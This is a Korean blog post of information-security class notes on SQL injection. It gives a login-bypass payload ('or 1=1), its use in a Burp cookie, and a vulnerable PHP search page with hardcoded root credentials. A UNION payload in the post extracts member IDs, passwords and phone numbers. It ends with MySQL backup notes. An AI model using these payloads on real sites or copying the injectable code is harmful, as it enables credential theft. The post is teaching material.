정보보안 (2016)

hacker―php↔DB

지나짱-* 2016. 7. 19. 13:21

hacker    ―   php     ↔    DB

mypage.php 클라이언트에서 서버로 간 부분이 sql로 되어있고 셀렉트하여 에코에 의해 브라우저로

------------------------------------------------------------------------------------------------------------

'KT 홈페이지 해킹' 개인정보 유출 흐름도- 파로스 프로그램 ( 아무나할수있는건데 대단한것처럼 보임)

------------------------------------------------------------------------------------------------------------

아이디를 모르지만 사용자가 나오도록

> select * from memTB where m_id=''or 1=1 limit 0,1; 

둘중에 어느것이 참이면 다 참이다.    /     0번째부터 1개

 

Burp에서 cookie:logN= 'or 1=1 limit 0,1;

자동적으로 payloads에서 pay load type             Brute forcer

------------------------------------------------------------

prod_search.php
<html>
<head>
<style>
body{background: #78EFAD;}
</style>
<title>
제이에이닷컴 슈즈 로그인
</title>
</head>
<boby>
<br><br>
<form method=post action="prod_search_ok.php">
제품명 : <input type='text' name='keyword1'><br><br>
수  량 (최소): <input type='text' name='keyword2'><br><br>
수  량 (최대): <input type='text' name='keyword3'><br><br>
<input type=submit value='검색'>
</form>
</body>
</html>

 

prod_search_ok.php

<?php
$kword1=$_POST['keyword1'];
$kword2=$_POST['keyword2'];
$kword3=$_POST['keyword3'];

$page_no=$_GET['page_no'];
if($page_no == ""){
$page_no=1;
}
$db_host = "localhost";
$db_user = "root";
$db_passwd = "1234";
$db_name = "shoeDB";
$conn = mysqli_connect($db_host,$db_user,$db_passwd,$db_name);
if (mysqli_connect_errno($conn)) {
echo "데이터연결실패:".mysqli_connect_error();
}else{
echo " 성공";
}

$sql="select count(*) from prodTB where p_name like '%".$kword1."%' and p_count >=".$kword2." and p_count <=".$kword3 ;
$result =mysqli_query($conn,$sql);
if( $result == FALSE) {
echo "쿼리실행1 실패:".mysql_error($conn);
}
$cnt=mysqli_fetch_row($result);
//echo "count=".$cnt[0];
$totrow=$cnt[0];
$totpage=ceil($totrow/5);
//echo "total page=".$totpage;
$stno=5*($page_no-1);
$sql="select * from prodTB where p_name like '%".$kword1."%' and p_count >=".$kword2." and p_count <=".$kword3." order by p_id desc limit ".$stno.",5";
$result =mysqli_query($conn,$sql);
if( $result == FALSE) {
echo "쿼리실행2 실패:".mysql_error($conn);
}

printf("<br>p_id, p_name, p_size, p_type, p_color, p_desc, p_price, p_jejosa, p_count<br><br>");
while ($row=mysqli_fetch_array($result) ){
printf("%s %s %s %s %s %s %s %s %s<br><br>",$row['p_id'],$row['p_name'],$row['p_size'],$row['p_type'],$row['p_color'],$row['p_desc'],$row['p_price'],$row['jejosa'],$row['p_count']);
}

for($cnt1=1;$cnt1<=$totpage;$cnt1++) {
 echo "<a href ='prod_list.php?page_no=".$cnt1."'>".$cnt1."</a>";
}

?>

-----------------------------------------------------------------

$sql="select * from prodTB where p_name like '%".$kword1."%' and p_count >=".$kword2." and p_count <=".$kword3." order by p_id desc limit ".$stno.",5";


 

$kword1=$_POST['keyword1'];

-> ' union select m_id,m_pass,m_mobile,1,1,1,1,1,1,1 from memTB '

 

select * from prodTB where p_name like '%'union select m_id,m_pass,m_mobile,1,1,1,1,1,1,1 from memTB#%'and p_count >=~

<== 제품코드 나오다가 회원 정보도 나옴.

 

----------------------------------------------------------------

== mysql 값 전부 다 없애기

 

- mysql 백업

 

물리백업 / 논리백업

http://dimdim.tistory.com/entry/MySQL-%EB%B0%B1%EC%97%85-%EB%B0%8F-%EB%B3%B5%EA%B5%AC

 

물리적인 복구 /

 

논리적인 복구

 - mysql -u [userId] -p [password] [DB명] < dump.sql
 - mysql 접속한 후 아래의 명령 실행
     

mysql>

source dump.sql